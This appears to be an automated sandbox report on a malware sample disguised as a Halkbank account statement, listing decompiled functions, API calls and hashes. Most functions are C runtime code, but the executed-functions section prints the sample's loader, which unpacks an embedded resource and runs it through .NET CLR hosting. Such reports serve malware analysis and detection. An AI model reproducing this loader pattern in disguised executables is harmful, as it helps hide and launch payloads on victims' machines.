						_t47 = MultiByteToWideChar( *_t18, 9, _t62,  *_t17, _a4, 0 | _a4 != 0x00000000);
						_t59 = _v20;
						__eflags = _t47;
						if(_t47 != 0) {
							goto L18;
						}
						goto L15;
					}
					_t55 = _a4;
					__eflags = _t55;
					if(_t55 != 0) {
						 *_t55 =  *_t62 & 0x000000ff;
					}
					_t59 = 1;
					goto L21;
				}
				_t49 = _a4;
				if(_t49 != 0) {
					 *_t49 = 0;
				}
				goto L5;
			}

0x00ed167b
0x00ed1680
0x00ed169a
0x00000000
0x00ed169a
0x00ed1682
0x00ed1687
0x00000000
0x00000000
0x00ed168c
0x00ed16a0
0x00ed16a7
0x00ed16ac
0x00ed16af
0x00ed16b6
0x00ed16d5
0x00ed16dc
0x00ed16de
0x00ed1722
0x00ed172a
0x00ed1736
0x00ed173f
0x00ed1741
0x00ed1751
0x00ed1751
0x00ed1755
0x00ed1757
0x00ed175a
0x00ed175a
0x00ed175a
0x00ed175a
0x00000000
0x00ed1760
0x00ed1743
0x00ed1743
0x00ed1748
0x00ed1748
0x00ed174b
0x00000000
0x00ed174b
0x00ed16e0
0x00ed16e3
0x00ed16e7
0x00ed1710
0x00ed1710
0x00ed1710
0x00ed1713
0x00ed1713
0x00000000
0x00000000
0x00ed1715
0x00ed1719
0x00000000
0x00000000
0x00ed171b
0x00ed171b
0x00ed171b
0x00000000
0x00ed171b
0x00ed16e9
0x00ed16e9
0x00ed16ec
0x00000000
0x00000000
0x00ed16f0
0x00ed16fa
0x00ed1700
0x00ed1703
0x00ed1709
0x00ed170c
0x00ed170e
0x00000000
0x00000000
0x00000000
0x00ed170e
0x00ed16b8
0x00ed16bb
0x00ed16bd
0x00ed16c2
0x00ed16c2
0x00ed16c7
0x00000000
0x00ed16c7
0x00ed168e
0x00ed1693
0x00ed1697
0x00ed1697
0x00000000

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00ED16A7
__isleadbyte_l.LIBCMT ref: 00ED16D5
MultiByteToWideChar.KERNEL32(20432F41,00000009,?,3A202020,00000000,00000000,?,00000000,?,?,00EDFF04,?,00000000), ref: 00ED1703
MultiByteToWideChar.KERNEL32(20432F41,00000009,?,00000001,00000000,00000000,?,00000000,?,?,00EDFF04,?,00000000), ref: 00ED1739

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0d32e45bac138e083c5efd87916c5627bf49e01a25106c4ff62e4a4a26827895
Instruction ID: d577eb6d7a4cb4770ee1b4895a487371c7da1b32934e4678aeaeb1903ba87702
Opcode Fuzzy Hash: 0d32e45bac138e083c5efd87916c5627bf49e01a25106c4ff62e4a4a26827895
Instruction Fuzzy Hash: DE31AF31600216BFEB218E65CC44BBA7BF5FF42354F1954AAE464A72A0D731E852DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ECECB1, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00ECECB1(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00ECF1FE(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00ECED37(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00ECF473(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00ECF3B4(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00ececb4
0x00ececba
0x00eced2d
0x00000000
0x00ececc1
0x00ececc1
0x00ececc4
0x00ececdf
0x00ecece2
0x00eced02
0x00eced14
0x00ecece4
0x00ecece4
0x00ecece7
0x00000000
0x00ecece9
0x00ececfb
0x00ececfb
0x00ecece7
0x00eced32
0x00eced36
0x00ececc6
0x00ececde
0x00ececde
0x00ececc4

APIs

__cftof_l.LIBCMT ref: 00ECECD5

Part of subcall function 00ECF3B4: __fltout2.LIBCMT ref: 00ECF3DD

__cftog_l.LIBCMT ref: 00ECECFB
__cftoe_l.LIBCMT ref: 00ECED2D

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 85a7c925fe6eb0757c77e3b1e88a084e72d6bf727e270b64b905a73ff38a4bf5
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: 7C014232440149FBCF165E94CD41EEE3F62BB18354B589419FA1A64231C237C9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 00ECCC10, Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00ECCC10(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				LONG* _t20;
				signed int _t25;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t24 = __ebx;
				_push(0xc);
				_push(0xedd9a0);
				E00EC9160(__ebx, __edi, __esi);
				_t31 = E00ECD59F(__edx, __edi, _t35);
				_t25 =  *0xee1c6c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t25) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00ECBE5F(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0xee1524; // 0xfd5c50
					if(__eflags != 0) {
						__eflags = _t33;
						if(__eflags != 0) {
							__eflags = InterlockedDecrement(_t33);
							if(__eflags == 0) {
								__eflags = _t33 - 0xee1820;
								if(__eflags != 0) {
									E00EC8F53(_t33);
								}
							}
						}
						_t20 =  *0xee1524; // 0xfd5c50
						 *(_t31 + 0x68) = _t20;
						_t33 =  *0xee1524; // 0xfd5c50
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00ECCCAC();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				_t38 = _t33;
				if(_t33 == 0) {
					E00EC751F(_t24, _t29, _t31, _t33, _t38, 0x20);
				}
				return E00EC91A5(_t33);
			}

0x00eccc10
0x00eccc10
0x00eccc10
0x00eccc10
0x00eccc12
0x00eccc17
0x00eccc21
0x00eccc23
0x00eccc2c
0x00eccc4d
0x00eccc53
0x00eccc57
0x00eccc5a
0x00eccc5d
0x00eccc63
0x00eccc65
0x00eccc67
0x00eccc70
0x00eccc72
0x00eccc74
0x00eccc7a
0x00eccc7d
0x00eccc82
0x00eccc7a
0x00eccc72
0x00eccc83
0x00eccc88
0x00eccc8b
0x00eccc91
0x00eccc95
0x00eccc95
0x00eccc9b
0x00eccca2
0x00eccc34
0x00eccc34
0x00eccc34
0x00eccc37
0x00eccc39
0x00eccc3d
0x00eccc42
0x00eccc4a

APIs

Part of subcall function 00ECD59F: __getptd_noexit.LIBCMT ref: 00ECD5A0

__lock.LIBCMT ref: 00ECCC4D
InterlockedDecrement.KERNEL32(?), ref: 00ECCC6A
_free.LIBCMT ref: 00ECCC7D
InterlockedIncrement.KERNEL32(00FD5C50), ref: 00ECCC95

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: da4ca56c0dce325aa88fc415fc8ca96f4ac274c77532bf58f4669ee22745ef14
Instruction ID: ab923cca8ed2eb524a3b132d53228f39e4ab8874c660fb78af3b037bee11bb97
Opcode Fuzzy Hash: da4ca56c0dce325aa88fc415fc8ca96f4ac274c77532bf58f4669ee22745ef14
Instruction Fuzzy Hash: 4301A132901A15AFD715AB66AB46FAEB3E0AF44714F25600DF81C77281CB325947CBC6

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1B30, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00EC1B30(intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v45;
				short _v47;
				char _v51;
				char _v55;
				char _v59;
				char _v63;
				char _v64;
				intOrPtr _v68;
				char _v71;
				char _v75;
				char _v79;
				char _v80;
				char _v92;
				char _v167;
				char _v168;
				signed int _t163;
				signed int _t177;
				signed int _t178;
				void* _t186;
				intOrPtr _t189;
				void* _t292;
				void* _t293;
				void* _t294;

				_v64 = 0;
				_v63 = 0;
				_v59 = 0;
				_v55 = 0;
				_v51 = 0;
				_v47 = 0;
				_v45 = 0;
				_v80 = 0;
				_v79 = 0;
				_v75 = 0;
				_v71 = 0;
				_v168 = 0;
				_t163 = E00EC87A0( &_v167, 0, 0x31);
				_t294 = _t293 + 0xc;
				asm("cvttsd2si eax, [ebp+0x8]");
				_v16 = _t163;
				asm("cdq");
				 *(_t292 + 0xffffffffffffffa4) = _v16 % 0x3e8;
				asm("cdq");
				_v16 = _v16 / 0x3e8;
				_v8 = 4;
				while(_v8 >= 0) {
					asm("cdq");
					 *(_t292 + _v8 * 4 - 0x70) = _v16 % 0x64;
					asm("cdq");
					_v16 = _v16 / 0x64;
					_v8 = _v8 - 1;
				}
				_v36 =  *(_t292 + 0xffffffffffffffa4);
				asm("cdq");
				_v20 = _v36 / 0x64;
				asm("cdq");
				_v12 = _v36 % 0x64;
				asm("cdq");
				_v40 = _v12 / 0xa;
				_t177 = _v12;
				asm("cdq");
				_t178 = _t177 / 0xa;
				_v44 = _t177 % 0xa;
				if(_v12 >= 0x14 || _v20 == 0) {
					if(_v12 >= 0x14 || _v20 != 0) {
						if(_v12 <= 0x14 || _v20 == 0) {
							E00EC1E50(_t178, _v40,  &_v92);
							E00EC1E40( &_v32, _v44,  &_v32);
							E00EC8140( &_v64,  &_v32);
							_t294 = _t294 + 8;
						} else {
							E00EC1E40(_v20, _v20,  &_v32);
							E00EC8140( &_v64, "Hundred ");
							E00EC1E50(_v40, _v40,  &_v92);
							E00EC8140( &_v64,  &_v92);
							E00EC1E40( &_v32, _v44,  &_v32);
							E00EC8140( &_v64,  &_v32);
							_t294 = _t294 + 0x18;
						}
					} else {
						E00EC1E40( &_v32, _v12,  &_v32);
					}
				} else {
					E00EC1E40(_v20, _v20,  &_v32);
					E00EC8140( &_v64, "Hundred ");
					E00EC1E40(_v12, _v12,  &_v32);
					E00EC8140( &_v64,  &_v32);
					_t294 = _t294 + 0x10;
				}
				_v8 = 4;
				while(_v8 >= 0) {
					if( *(_t292 + _v8 * 4 - 0x70) >= 0x14) {
						asm("cdq");
						E00EC1E50( *(_t292 + _v8 * 4 - 0x70) / 0xa,  *(_t292 + _v8 * 4 - 0x70) / 0xa,  &_v92);
						asm("cdq");
						E00EC1E40( *(_t292 + _v8 * 4 - 0x70) / 0xa,  *(_t292 + _v8 * 4 - 0x70) % 0xa,  &_v32);
						E00EC8140(_t292 + _v8 * 0x1e - 0x13c,  &_v32);
						_t294 = _t294 + 8;
					} else {
						E00EC1E40( &_v32,  *(_t292 + _v8 * 4 - 0x70),  &_v32);
					}
					_v8 = _v8 - 1;
				}
				_v8 = 0;
				while(_v8 < 5) {
					_t189 = E00EC82C0(_t292 + _v8 * 0x1e - 0x13c);
					_t294 = _t294 + 4;
					_v68 = _t189;
					if(_v68 != 0) {
						E00EC8140( &_v168, _t292 + _v8 * 0x1e - 0x13c);
						E00EC8140( &_v168,  &_v80);
						_t294 = _t294 + 0x10;
					}
					_v8 = _v8 + 1;
				}
				E00EC8140(_a12,  &_v64);
				_t186 = E00EC82C0(_a12);
				 *((char*)(_a12 + _t186 - 1)) = 0;
				return _t186;
			}

0x00ec1b39
0x00ec1b3f
0x00ec1b42
0x00ec1b45
0x00ec1b48
0x00ec1b4b
0x00ec1b4f
0x00ec1b52
0x00ec1b58
0x00ec1b5b
0x00ec1b5e
0x00ec1b61
0x00ec1b73
0x00ec1b78
0x00ec1b7b
0x00ec1b80
0x00ec1b86
0x00ec1b96
0x00ec1b9d
0x00ec1ba5
0x00ec1ba8
0x00ec1bba
0x00ec1bc3
0x00ec1bce
0x00ec1bd5
0x00ec1bdd
0x00ec1bb7
0x00ec1bb7
0x00ec1bee
0x00ec1bf4
0x00ec1bfc
0x00ec1c02
0x00ec1c0a
0x00ec1c10
0x00ec1c18
0x00ec1c1b
0x00ec1c1e
0x00ec1c24
0x00ec1c26
0x00ec1c2d
0x00ec1c79
0x00ec1c97
0x00ec1d01
0x00ec1d0e
0x00ec1d1b
0x00ec1d20
0x00ec1c9f
0x00ec1ca7
0x00ec1cb5
0x00ec1cc5
0x00ec1cd2
0x00ec1ce2
0x00ec1cef
0x00ec1cf4
0x00ec1cf4
0x00ec1c81
0x00ec1c89
0x00ec1c89
0x00ec1c35
0x00ec1c3d
0x00ec1c4b
0x00ec1c5b
0x00ec1c68
0x00ec1c6d
0x00ec1c6d
0x00ec1d23
0x00ec1d35
0x00ec1d43
0x00ec1d63
0x00ec1d6c
0x00ec1d7c
0x00ec1d85
0x00ec1d9c
0x00ec1da1
0x00ec1d45
0x00ec1d51
0x00ec1d51
0x00ec1d32
0x00ec1d32
0x00ec1da6
0x00ec1db8
0x00ec1dcc
0x00ec1dd1
0x00ec1dd4
0x00ec1ddb
0x00ec1df2
0x00ec1e05
0x00ec1e0a
0x00ec1e0a
0x00ec1db5
0x00ec1db5
0x00ec1e17
0x00ec1e23
0x00ec1e2e
0x00ec1e36

APIs

_memset.LIBCMT ref: 00EC1B73

Strings

Hundred , xrefs: 00EC1CAC
Hundred , xrefs: 00EC1C42

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: _memset
String ID: Hundred $Hundred
API String ID: 2102423945-1478457770
Opcode ID: 234262fb254290269893b6125a050ab3804e712fe36beeaf07674ae17533c5bc
Instruction ID: 04c9caccc6ed81c42d61a70e63e67ebd3f7340051294db30a920c7ad210c6315
Opcode Fuzzy Hash: 234262fb254290269893b6125a050ab3804e712fe36beeaf07674ae17533c5bc
Instruction Fuzzy Hash: 04A12BB1D00208EFCB08DFE8DA81FDDB7F5AB89300F1495ADE515B7241DB369A068B61

Uniqueness

Uniqueness Score: -1.00%

Function 00ECF71C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00ECF71C(void* __ebx, void* __edx, void* __esi, void* __eflags) {
				intOrPtr* _v20;
				void* _t4;
				intOrPtr* _t7;
				intOrPtr _t9;

				_t15 = __edx;
				_t13 = __ebx;
				_t4 = E00ED3C1F(0, 0x10000, 0x30000);
				if(_t4 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00EC8B87(__ebx, __edx);
					asm("int3");
					_t7 =  *_v20;
					__eflags =  *_t7 - 0xe06d7363;
					if( *_t7 != 0xe06d7363) {
						L9:
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *((intOrPtr*)(_t7 + 0x10)) - 3;
						if( *((intOrPtr*)(_t7 + 0x10)) != 3) {
							goto L9;
						} else {
							_t9 =  *((intOrPtr*)(_t7 + 0x14));
							__eflags = _t9 - 0x19930520;
							if(__eflags == 0) {
								L10:
								E00ECC6A9(_t13, _t15, 0, __eflags);
								asm("int3");
								E00ECC080(E00ECF743);
								__eflags = 0;
								return 0;
							} else {
								__eflags = _t9 - 0x19930521;
								if(__eflags == 0) {
									goto L10;
								} else {
									__eflags = _t9 - 0x19930522;
									if(__eflags == 0) {
										goto L10;
									} else {
										__eflags = _t9 - 0x1994000;
										if(__eflags == 0) {
											goto L10;
										} else {
											goto L9;
										}
									}
								}
							}
						}
					}
				} else {
					return _t4;
				}
			}

0x00ecf71c
0x00ecf71c
0x00ecf72a
0x00ecf734
0x00ecf738
0x00ecf739
0x00ecf73a
0x00ecf73b
0x00ecf73c
0x00ecf73d
0x00ecf742
0x00ecf749
0x00ecf74b
0x00ecf751
0x00ecf778
0x00ecf778
0x00ecf77b
0x00ecf753
0x00ecf753
0x00ecf757
0x00000000
0x00ecf759
0x00ecf759
0x00ecf75c
0x00ecf761
0x00ecf77e
0x00ecf77e
0x00ecf783
0x00ecf789
0x00ecf78f
0x00ecf791
0x00ecf763
0x00ecf763
0x00ecf768
0x00000000
0x00ecf76a
0x00ecf76a
0x00ecf76f
0x00000000
0x00ecf771
0x00ecf771
0x00ecf776
0x00000000
0x00000000
0x00000000
0x00000000
0x00ecf776
0x00ecf76f
0x00ecf768
0x00ecf761
0x00ecf757
0x00ecf736
0x00ecf737
0x00ecf737

APIs

__controlfp_s.LIBCMT ref: 00ECF72A

Part of subcall function 00ED3C1F: __control87.LIBCMT ref: 00ED3C43

__invoke_watson.LIBCMT ref: 00ECF73D

Strings

csm, xrefs: 00ECF74B

Memory Dump Source

Source File: 00000000.00000002.253539891.0000000000EC1000.00000020.00020000.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.253534307.0000000000EC0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253595080.0000000000ED8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253663110.0000000000EDF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.253682867.0000000000EE1000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.253693294.0000000000EE5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.253749383.0000000000EF7000.00000002.00020000.sdmp Download File

Similarity

API ID: __control87__controlfp_s__invoke_watson
String ID: csm
API String ID: 1371525046-1018135373
Opcode ID: a65e87661bccf221477b2426a47cff5dab9b4c187deff1fbe6e3a5b46413f233
Instruction ID: f98ebb0f60640fde42144de349bfa3030ddfc44cc2fbce1ea09f72131e749619
Opcode Fuzzy Hash: a65e87661bccf221477b2426a47cff5dab9b4c187deff1fbe6e3a5b46413f233
Instruction Fuzzy Hash: 77F0F621530304178A265B686B46F9A238E8B10319B64252BF408AA521DB72CE83C0D6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Halkbank_Ekstre_20210113_162325_384771.exe PID: 6128 Parent PID: 4684 Halkbank_Ekstre_20210113_162325_384771.exeCOMMON

Executed Functions

Function 00401489, Relevance: 17.5, APIs: 9, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401489() {
				void* _v8;
				struct HRSRC__* _t4;
				long _t10;
				struct HRSRC__* _t12;
				void* _t16;

				_t4 = FindResourceW(GetModuleHandleW(0), 1, 0xa); // executed
				_t12 = _t4;
				if(_t12 == 0) {
					L6:
					ExitProcess(0);
				}
				_t16 = LoadResource(GetModuleHandleW(0), _t12);
				if(_t16 != 0) {
					_v8 = LockResource(_t16);
					_t10 = SizeofResource(GetModuleHandleW(0), _t12);
					_t13 = _v8;
					if(_v8 != 0 && _t10 != 0) {
						L00401000(_t13, _t10); // executed
					}
				}
				FreeResource(_t16);
				goto L6;
			}

0x0040149f
0x004014a5
0x004014a9
0x004014ec
0x004014ee
0x004014ee
0x004014b7
0x004014bb
0x004014c7
0x004014cd
0x004014d3
0x004014d8
0x004014e0
0x004014e0
0x004014d8
0x004014e6
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,0000000A,00000000,?,00000000,?,?,80004003), ref: 0040149C
FindResourceW.KERNEL32(00000000,?,?,80004003), ref: 0040149F
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014AE
LoadResource.KERNEL32(00000000,?,?,80004003), ref: 004014B1
LockResource.KERNEL32(00000000,?,?,80004003), ref: 004014BE
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,80004003), ref: 004014CA
SizeofResource.KERNEL32(00000000,?,?,80004003), ref: 004014CD

Part of subcall function 00401489: CLRCreateInstance.MSCOREE(00410A70,00410A30,?), ref: 00401037

FreeResource.KERNEL32(00000000,?,?,80004003), ref: 004014E6
ExitProcess.KERNEL32 ref: 004014EE

Strings

v4.0.30319, xrefs: 00401053

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Resource$HandleModule$CreateExitFindFreeInstanceLoadLockProcessSizeof
String ID: v4.0.30319
API String ID: 2372384083-3152434051
Opcode ID: 060aa7053acf556b93056d40afe3d2a4a8ddd9aae74d8bebeb0beeb8417ee5ee
Instruction ID: e1ffc0a1c1a4d9c60ba63a2b3d6c0bb581dd470f6d51773805e4de56b79455e5
Opcode Fuzzy Hash: 060aa7053acf556b93056d40afe3d2a4a8ddd9aae74d8bebeb0beeb8417ee5ee
Instruction Fuzzy Hash: C6F03C74A01304EBE6306BE18ECDF1B7A9CAF84789F050134FA01B62A0DA748C00C679

Uniqueness

Uniqueness Score: -1.00%

Function 012EE0CF, Relevance: 1.7, APIs: 1, Instructions: 176libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 012EE187

Memory Dump Source

Source File: 00000001.00000002.624998590.00000000012E0000.00000040.00000001.sdmp, Offset: 012E0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 98af43257b594060a38715e169ab40586bf749cb0c950c137741ede3325be3ef
Instruction ID: 6b99912142bdf403a3d7550cfb8f606a26d915362eb16e22b56040253d2d3e08
Opcode Fuzzy Hash: 98af43257b594060a38715e169ab40586bf749cb0c950c137741ede3325be3ef
Instruction Fuzzy Hash: 6151E430A102069FCB04EBB4C898AAEB7F6BF85204F148979D5129B391EF74EC058B61

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1D, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401E1D() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00401E29); // executed
				return _t1;
			}

0x00401e22
0x00401e28

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00001E29,00401716), ref: 00401E22

Memory Dump Source

Source File: 00000001.00000002.622605392.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f10ce909f55bf21439a7486d1ee2c3bdf37a7dd0004178b465455f206acc9e88
Instruction ID: 98c1414349b9c6d47e2858da2eafac41ced4a749a9169aad70cadcfed52b35c5
Opcode Fuzzy Hash: f10ce909f55bf21439a7486d1ee2c3bdf37a7dd0004178b465455f206acc9e88
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 01012D50, Relevance: .9, Instructions: 863COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68baae63c3cd714d8cc13b7888a85c00b88b0224403e35622b49646a0b7bf3b5
Instruction ID: feb36d01c07f0f94bc7f37041216d2187765a09425f50dc1b1af65f0aa197222
Opcode Fuzzy Hash: 68baae63c3cd714d8cc13b7888a85c00b88b0224403e35622b49646a0b7bf3b5
Instruction Fuzzy Hash: 46825A70A00209DFDB55DF68C484AAEBBF2FF88324F158599E9859B369D738EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0101F489, Relevance: .6, Instructions: 624COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bc7588667a110901372fa975122fe923522ac327ea59084626dbfe38197ade5
Instruction ID: 6bfd2659ec4eb65018554cb0a9f9525d00288b0789ec81b6acef4ede88f4bfa8
Opcode Fuzzy Hash: 8bc7588667a110901372fa975122fe923522ac327ea59084626dbfe38197ade5
Instruction Fuzzy Hash: 4632D530E002458FEB64EBB8C4947ADBBE3AF85304F14C5A9D459AF299CB389C49CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0101F4E8, Relevance: .6, Instructions: 604COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b5a29e222bf1305aff733351a5c70d1dc9d346bcdcaaec2b1c3f3c3ff72d3a
Instruction ID: 6e1c5b5256c4b731119e20c0313e1cca28c990b4f6fa7247f6b1fb77cd000f97
Opcode Fuzzy Hash: f6b5a29e222bf1305aff733351a5c70d1dc9d346bcdcaaec2b1c3f3c3ff72d3a
Instruction Fuzzy Hash: 9E32D430E002498FEB64EB78C4947ADBBE3AF85304F54C1A9D459AF399CB789C49CB51

Uniqueness

Uniqueness Score: -1.00%

Function 01011FE2, Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f36515df8752d9c7bbf93f3993adf42bbf84f7dc61cdd56602b37dca6787807f
Instruction ID: d9f1560615d4713d01f68f92381b9201e37ba2d64a1a1d91e66a1e31fb2c82d6
Opcode Fuzzy Hash: f36515df8752d9c7bbf93f3993adf42bbf84f7dc61cdd56602b37dca6787807f
Instruction Fuzzy Hash: A7128F70A002199FDB14CF69C894AAEBBF6FF88304F208569E545EB395DF389C45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01012618, Relevance: .4, Instructions: 444COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.623550760.0000000001010000.00000040.00000001.sdmp, Offset: 01010000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d8642b505ba44412feeaa2e6e761ed0ec75a15df23fda5e6899e19bcc981645
Instruction ID: 6551eb1c83a4d280f9ae689b69184ee7c3c38b49d68b3061c2a36e9d0cd9c04d
Opcode Fuzzy Hash: 8d8642b505ba44412feeaa2e6e761ed0ec75a15df23fda5e6899e19bcc981645
Instruction Fuzzy Hash: 39027131A00209DFDB55CFA8C984AAEBBF6FF88304F258069E945EB265D738DC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 004001CC, Relevance: 26.9, APIs: 13, Strings: 1, Instructions: 2442memoryCOMMON

Download Yara Rule

APIs

CLRCreateInstance.MSCOREE(00410A70,00410A30,?), ref: 00401037
SafeArrayCreate.OLEAUT32(00000011,00000001,?), ref: 00401127
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 0040113F
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00401161
GetCommandLineW.KERNEL32(?), ref: 004011FA
CommandLineToArgvW.SHELL32(00000000), ref: 00401201
